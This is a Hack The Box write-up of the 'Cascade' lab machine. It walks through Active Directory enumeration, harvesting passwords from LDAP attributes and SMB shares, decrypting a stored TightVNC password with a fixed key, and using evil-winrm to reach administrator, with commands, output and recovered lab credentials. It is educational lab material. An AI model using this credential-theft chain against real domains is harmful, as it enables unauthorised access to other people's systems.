Hack The Box: Cascade Write-up
Overview
This writeup details the approach I used to complete the Cascade Hack the Box machine. Over the course of compromising Cascade I abused RPC misconfiguration, located and abused sensitive information on exposed network shares, and debugged an application executable written in C in order to expose privileged user credentials.
Kill Chain
Initial Enumeration
As always, since I don't care about noise in the Hack the Box lab environment, I began my initial enumeration by running an AutoRecon scan and reviewing the script output files. The first output I examined was the full Nmap port scan.
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /root/cybersecurity/htb/boxes/10.10.10.182-cascade/scans/_full_tcp_nmap.txt -oX /root/cybersecurity/htb/boxes/10.10.10.182-cascade/scans/xml/_full_tcp_nmap.xml 10.10.10.182
Increasing send delay for 10.10.10.182 from 0 to 5 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 10.10.10.182 from 5 to 10 due to 11 out of 11 dropped probes since last increase.
Nmap scan report for 10.10.10.182
Host is up, received user-set (0.020s latency).
Scanned at 2020-07-08 20:14:50 EDT for 2440s
Not shown: 65522 filtered ports
Reason: 65522 no-responses
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-07-09 00:56:43Z)
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49165/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=7/8%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=5F066B02%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=10D%TI=I%II=I%SS=S%TS=7)
OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)
WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)
ECN(R=Y%DF=Y%TG=80%W=2000%O=M54DNW8NNS%CC=N%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)
Uptime guess: 0.029 days (since Wed Jul 8 20:13:42 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 62247/tcp): CLEAN (Timeout)
| Check 2 (port 51409/tcp): CLEAN (Timeout)
| Check 3 (port 10882/udp): CLEAN (Timeout)
| Check 4 (port 15818/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
|_smb2-time: ERROR: Script execution failed (use -d to debug)
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 17.93 ms 10.10.14.1
2 22.08 ms 10.10.10.182
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
My goal while reviewing the Nmap full TCP port scan was to identify which ports were open on the target, what services were running on each of the discovered open ports, and to see what versions those services were if possible. I was also keeping an eye out for any potentially interesting or atypical results. Based on previous experience, I skipped over the open ports associated with the tcpwrapped and MSRPC services and put them last on my list of priorities. There were a few things I took note of while reviewing the scripted scan results. The first was that based on the DNS service banner on TCP port 53, the target machine OS was Windows Server 2008 R2 SP1. The second thing I made a note of was the Kerberos service was running on TCP port 88, which meant that some of the Kerberos ticket-based attacks may have been available for me to exploit. Next I began to review the results of my enum4linux scan against the target machine on TCP port 139. The results that I made note of from this output were the user account list, some group memberships, and the Logon Script variable that many of the user accounts had defined to "MapAuditDrive.vbs" or "MapDataDrive.vbs". I also noticed that the smbclient portion of the enum4linux script was unable to return any results. I found it interesting that null sessions were allowed, but a null session was not given the permissions needed to list SMB shares. This made me think that the target machine was most likely hosting SMB network shares.
=============================
| Users on 10.10.10.182 |
=============================
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull Name: Adrian Turnbull Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson Name: Ben Hanson Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc Name: BackupSvc Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman Name: David Burman Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe Name: Edward Crowe Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft Name: Ian Croft Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen Name: Joseph Allen Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand Name: John Goodhand Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield Name: James Wakefield Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson Name: Ryan Thompson Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson Name: Stephanie Hickson Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith Name: Steve Smith Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util Name: Util Desc: (null)
[+] Getting local group memberships:
Group 'HR' (RID: 1115) has member: CASCADE\s.hickson
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\krbtgt
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Controllers
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Schema Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Enterprise Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Cert Publishers
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Group Policy Creator Owners
Group 'Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Read-only Domain Controllers
Group 'Audit Share' (RID: 1137) has member: CASCADE\s.smith
Group 'AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc
Group 'Data Share' (RID: 1138) has member: CASCADE\Domain Users
Group 'Remote Management Users' (RID: 1126) has member: CASCADE\arksvc
Group 'Remote Management Users' (RID: 1126) has member: CASCADE\s.smith
Group 'IT' (RID: 1113) has member: CASCADE\arksvc
Group 'IT' (RID: 1113) has member: CASCADE\s.smith
Group 'IT' (RID: 1113) has member: CASCADE\r.thompson
The last port I reviewed the scripted scan results of was the LDAP Nmap scan results on TCP port 3268. Since I had any results at all to review for this port, I knew that I could connect to the target with a nullrpcclient session. I was also able to confirm that the target machine OS was MS Server 2008 because the domainControllerFunctionality was 4.
Compromising User
Kerberoast Attempt
The first manual probing I did to this machine was to check if I could perform a Kerberoast attack since Kerberos was listening on TCP port 88. I created a user list from the users discovered with enum4linux, and fed that user list to the GetNPUsers.py script to check for users that did not require pre-authentication. Unfortunately, of the accounts that were valid none had this option set.
python3 /var/lib/impacket/examples/GetNPUsers.py cascade.local/ -dc-ip 10.10.10.182 -no-pass -usersfile ./users.txt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[-] user a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] user j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] user j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] user j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] user r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] user s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] user s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] user arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] user BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] user util doesn't have UF_DONT_REQUIRE_PREAUTH set
Harvesting Credentials From LDAP
Since a Kerberos attack didn't seem to be a likely foothold path, I turned my attention towards LDAP. I utilized ldapsearch to query LDAP from my host machine. The first query I ran was to return all of the LDAP information (ldapsearch -LLL -x -H ldap://10.10.10.182 -b 'dc=cascade,dc=local' '(objectclass=*)'). The returned results from this query were extremely dense, so I decided to query each user individually, hoping that this would help me parse through the results in a more meaningful and efficient manner. Sure enough, user r.thompson had the property "cascadeLegacyPassword" defined with a base64 string. The decoded string was rY4n5eva.
ldapsearch -LLL -x -H ldap://10.10.10.182 -b 'CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local' '(objectclass=*)'
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 18
codePage: 0
countryCode: 0
badPasswordTime: 132388012003361402
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dsCorePropogationData: 20200126183918.0Z
dsCorePropogationData: 20200119174753.0Z
dsCorePropogationData: 20200119174719.0Z
dsCorePropogationData: 20200119174508.0Z
dsCorePropogationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
echo clk0bjVldmE= | base64 -d && echo ''
rY4n5eva
Stealing Cached VNC Credentials
The first thing I did after getting valid credentials was to perform targeted re-enumeration of the target machine. I had a hunch the target was hosting an SMB share based on the uncredentialed enum4linux results, so before I re-ran enum4linux in it's entirety I checked to see if I could list any SMB shares with the new credentials.
smbclient -L //10.10.10.182 -U r.thompson%rY4n5eva
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Audit$ Disk
C$ Disk Default Share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.182 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
I had confirmed my hunch that SMB shares were present! My next step was to see which of the shares, if any, I had access to with the stolen credentials. The only shares I was able to connect to were Audit$ and Data, however I was not able to actually list the contents of Audit$.
While exploring the directories in Data I was able to find a few files that I downloaded to work with locally. These files included \IT\Email Archives\Meeting_Notes_June_2018.html, \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log, and \IT\Logs\DCs\dcdiag.log. I also found \IT\Temp\s.smith\VNC Install.reg but was unable to download it to my local host.
get "\IT\Temp\s.smith\VNC Install.reg"
Error opening local file \IT\Temp\s.smith\VNC Install.reg
After encountering this file that I was unable to download, I went back to take a look at my enum4linux scan results. I noticed that s.smith was the only user who had been assigned the MapAuditDrive.vbs logon script, and the user was a member of the Audit Share, IT, and Remote Management Users groups. That caused me to take even more of an interest in this user, and I really wanted to see what the VNC file was, especially since the user had Remote Management capabilities. I decided to attempt to actually mount the share on my filesystem instead of just browsing it with smbclient, which worked. This allowed me to copy the interesting file in to a local directory path and read the it's contents, including the line "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f.
cat ./loot/VNC-Install.reg
??Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority":dword:00000000
"BlockRemoteInput":dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"="dword:000016a8
"DisconnectedAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAUthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:0000001
"UseMirrorDriver"=dword:00000001
"EnableURLParams"=dword00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000\
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:0000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""
I had initially tried to decode the hex characters manually but I was making no headway. I ended up searching the Internet for "break VNC password encryption" and found this Github repo. Following those instructions, I used the IRB interpreter built in to Metasploit along with the provided VNC salt string to decrypt the encrypted hex password.
irb
[*] Starting IRB shell...
[*] You are in the "framework" object
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), fixedkey
=> sT333ve2
Since I had seen TCP port 5985 open when I reviewed the initial Nmap scan results, I immediately tried to use the cracked password along with the file owners username to log in to the target with evil-winrm. I was able to log in successfully as s.smith, and I was able to access user.txt as that user.
evil-winrm -i 10.10.10.182 -u s.smith -p sT333ve2
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
whoami; type c:\users\s.smith\desktop\user.txt; ipconfig
cascade\s.smith
5eed34760b502cbdeec7b153ef1753b4
Windows IP Configuration
Ethernet adapter Local Area Connection 4:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . : dead:beef::c984:29aa:407c:af75
Link-local IPv6 Address . . . . : fe80::c984:29aa:407c:af75%15
IPv4 Address. . . . . . . . . . : 10.10.10.182
Subnet Mask . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . : fe80::c984:29aa:407c:af75%15
10.10.10.2
Compromising Administrator
Escalation of Privilege Enumeration
I began the privilege escalation process by enumerating the s.smith user privileges with whoami /priv and net users s.smith. The output of the second command told me that s.smith was a member of the Audit Share local group. Since I had not been able to gain access to the Audit$ SMB share earlier, I decided to find the directory locally on the target and explore it's contents. The SMB share directories were all listed in C:\Shares\. I changed my working directory to C:\Shares\Audit\ and began enumerating the directory. I found an executable binary, a batch file that executes it and outputs a database file, and I found the database file itself. I then downloaded all three of the files to my local Kali host, along with the CascCrypto.dll file.
dir
Directory: C:\Shares\Audit
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/28/2020 9:40 PM DB
d----- 1/26/2020 10:25 PM x64
d----- 1/26/2020 10:25 PM x86
-a---- 1/28/2020 9:46 PM 13312 CascAudit.exe
-a---- 1/29/2020 6:00 PM 12288 CascCrypto.dll
-a---- 1/28/2020 11:29 PM 45 RunAudit.bat
-a---- 10/27/2019 6:38 AM 363520 System.Data.SQLite.dll
-a---- 10/27/2019 6:38 AM 186880 System.Data.SQLite.EF6.dll
Decrypting Service Account Password
Once I had a local copy of the Audit.db database file, I looked at the contents of the file with strings.
strings loot/Audit.db
SQLite format 3
tablesqlb_temp_table_8sqlb_temp_table_8
CREATE TABLE "sqlb_temp_table_8" (
"Id"
INTEGER PRIMARY KEY AUTOINCREMENT,
"Username"
TEXT,
"Name"
TEXT,
"DistinguishedName"
TEXT
tableDeletedUserAuditDeletedUserAudit
CREATE TABLE "DeletedUserAudit" (
"Id"
INTEGER PRIMARY KEY AUTOINCREMENT,
"Username"
TEXT,
"Name"
TEXT,
"DistinguishedName"
TEXT
CtableMiscMisc
CREATE TABLE "Misc" (
"Id"
INTEGER PRIMARY KEY AUTOINCREMENT,
"Ext1"
TEXT,
"Ext2"
TEXT
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableUserAuditUserAudit
CREATE TABLE "UserAudit" (
"Id"
INTEGER PRIMARY KEY AUTOINCREMENT,
"Username"
TEXT,
"Name"
INTEGER,
"DistinguishedName
ctableLdapLdap
CREATE TABLE "Ldap" (
"Id"
INTEGER PRIMARY KEY AUTOINCREMENT,
"uname"
TEXT,
"pwd"
TEXT,
"domain"
TEXT
i
&
dddddddd
DEL:f9bfa86b-d7ab-4561-b4b3-dbb1edb51f49A$
TempAdminTempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a7#
tempTemp
DEL:83cb74b3-2958-45d0-90f0-72d46a4abddcA"
deleteddeleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef7!
testTest
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d
j.allenJoseph Allen
BackupSvcBackupSvc
d.burmanDavid Burman
b.hans
?dddddddd
DEL:f9bfa86b-d7ab-4561-b4b3-dbb1edb51f49CN=dddd\0ADEL:f9bfa86b-d7ab-4561-b4b3-dbb1edb51f49,CN=Deleted Objects,DC=cascade,DC=local
ITempAdminTempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188aCN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local
?tempTemp
DEL:83cb74b3-2958-45d0-90f0-72d46a4abddcCN=Temp\0ADEL:83cb74b3-2958-45d0-90f0-72d46a4abddc,CN=Deleted Objects,DC=cascade,DC=local
Mdeleteddeleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deefCN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
?testTest
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6dCN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
='ArkSvcBQO5l5Kj9MdErXx6Q6AGOw==cascade.local
sqlb_temp_table_
DeletedUserAudit
Ldap
dddddddd
DEL:f9bfa86b-d7ab-45
dddddddd
DEL:f9bfa86b-d7ab-4561-b4b3-dbb1edb51f49
TempAdminTempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a
tempTemp
DEL:83cb74b3-2958-45d0-90f0-72d46a4abddc
deleteddeleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef
testTest
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d
j.allenJoseph Allen
BackupSvcBackupSvc
d.burmanDavid Burman
b.hansonBen Hanson
e.croweEdward Crowe
a.turnbullAdrian Turnbull
j.goodhandJohn Goodhand
s.hicksonStephanie Hickson
j.wakefieldJames Wakefield
utilUtil
r.thompsonRyan Thompson
s.smithSteve Smith
arksvcArkSvc
krbtgtkrbtgt
CascGuestCascGuest
cascadminCascAdmin
j.allenJoseph Allen
BackupSvcBackupSvc
d.burmanDavid Burman
b.hansonBen Hanson
e.croweEdward Crowe
a.turnbullAdrian Turnbull
j.goodhandJohn Goodhand
s.hicksonStephanie Hickson
j.wakefieldJames Wakefield
utilUtil
r.thompsonRyan Thompson
s.smithSteve Smith
arksvcArkSvc
krbtgtkrbtgt
CascGuestCascGuest
cascadminCascAdmin
While I was reading through the output from the Audit.db file, I noticed a line that very clearly contained a hashed password (='ArkSvcBQO5l5Kj9MdErXx6Q6AGOw==cascade.local). I unsuccessfully tried to crack this password hash with common tools like JtR and Hashcat. I was unable to identify the hash type or make any meaningful progress towards breaking this hash manually.
I knew that this string was the result of output from the CascAudit.exe binary, so I opened the binary with IntelliJ Rider. The main method of CascAudit.exe was not doing anything particularly interesting, but I did see that it made a call to CascAudit.dll, so I opened the DLL file in Rider as well. I added a new Main() method at the beginning of the DLL that would use the decrypt key referenced in the main method of the exe to decrypt the string I found in the database file and print it to the console terminal when executed. I then executed the file with Shift+F10 and saw the decoded password printed in the Rider console.
I was able to log in to the target with evil-winrm using the decrypted credentials ArkSvc:w3lc0meFr31nd. Based on the Meeting Notes file I had stolen from the SMB share while performing my initial enumeration, I knew that the deleted TempAdmin user had been using the same password as the Administrator user. I ran an LDAP search for deleted items, found the entry for TempAdmin among the results, and saw that TempAdmin also had a cascadeLegacyPwd property defined. I repeated the process for converting a base64 string as I had used earlier which resulted in the password of baCT3r1aN00dles. I was then able to log in to the target with evil-winrm and the credentials Administrator:baCT3r1aN00dles and access root.txt.
evil-winrm -i 10.10.10.182 -u Administrator -p baCT3r1aN00dles
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
whoami; type c:\users\Administrator\desktop\root.txt; ipconfig
cascade\Administrator
34338a0fa399f83545f16c06d8ab4e37
Windows IP Configuration
Ethernet adapter Local Area Connection 4:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . : dead:beef::c984:29aa:407c:af75
Link-local IPv6 Address . . . . : fe80::c984:29aa:407c:af75%15
IPv4 Address. . . . . . . . . . : 10.10.10.182
Subnet Mask . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . : fe80::c984:29aa:407c:af75%15
10.10.10.2
Final Thoughts
Cascade was the seventh Hack the Box machine I completed after my first OSCP exam attempt. I've started to noticed that my note-taking workflow has become more streamlined and focused. My earlier notes proved difficult to use as a source for these writeups. The organizational structure had information nested under specific ports and not in from a chronological point of view.
This machine was one of the ones that was most similar to OSCP lab machines that I have done so far. The chain of attacks used in this box progress in a way that appear unrelated on the surface, but when you look at the workflow that left the information I used behind, you can see how you are following the footsteps of a user performing a job function. This machine really highlights the fact that security needs to be viewed holistically. Most of the vulnerabilities I exploited would be considered relatively benign by administrators, however as this writeup demonstrates those small misconfigurations can be easily chained together and leveraged to obtain SYSTEM compromise.